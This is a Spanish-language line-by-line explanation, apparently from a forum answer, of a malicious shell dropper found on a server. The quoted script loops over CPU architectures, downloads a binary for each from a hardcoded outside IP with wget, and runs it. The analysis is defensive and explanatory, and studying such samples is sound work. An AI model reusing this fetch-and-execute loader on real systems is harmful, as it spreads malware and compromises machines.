Linea por linea:
#!/bin/sh
Establece el shshell, cualquiera que sea, como la línea shebang. sh%20/tmp/ksen la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.
u="asgknskjdgn"
Declara un nombre arbitrario, presumiblemente para evitar chocar con otros nombres de archivo. No estoy seguro de por qué no solo usarían mktemp, pero tal vez eso no esté disponible en todas las plataformas.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumera varias arquitecturas de CPU comunes.
http_server="80.211.173.159"
http_port=80
El servidor que tiene el exploit.
cd /tmp/||cd /var/
Intenta cambiar el directorio a algún lugar donde es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, aplicando reglas mucho más estrictas sobre lo que el servidor web puede hacer que el sistema de archivos por sí solo.
for name in $bin_names
do
Para cada arquitectura de CPU ...
rm -rf $u
Elimina los programas de exploit previamente probados. Innecesario debido a la siguiente línea, por lo que puede ser ignorado.
cp $SHELL $u
Copia el ejecutable de shell actual ( /bin/sh). Se puede ignorar debido a la línea después de la siguiente.
chmod 777 $u
Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del wgetcomando, que es un signo de un novato de scripting de shell o una técnica de dirección errónea.
>$u
Vacía el archivo. No tiene sentido debido a la siguiente línea.
wget http://$http_server:$http_port/$name -O -> $u
Sobrescribe el archivo con el script de exploit para esta arquitectura. -O -> $upodría haberse escrito -O - > $u(el guión indica que la descarga debe escribirse en la salida estándar) que es equivalente a -O $u.
./$u $name
Ejecuta el script exploit con la arquitectura como primer argumento.
done
Termina el ciclo.
Parece que este es un script de intento de exploit trivial, que intenta exploits conocidos en varias plataformas de CPU. No sé por qué se sobrescribe $utres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, esa versión anterior tenía los exploits codificados en lugar de ser servidos dinámicamente; el primero es más fácil pero casi garantiza que el script será menos efectivo con el tiempo a medida que se corrijan los errores.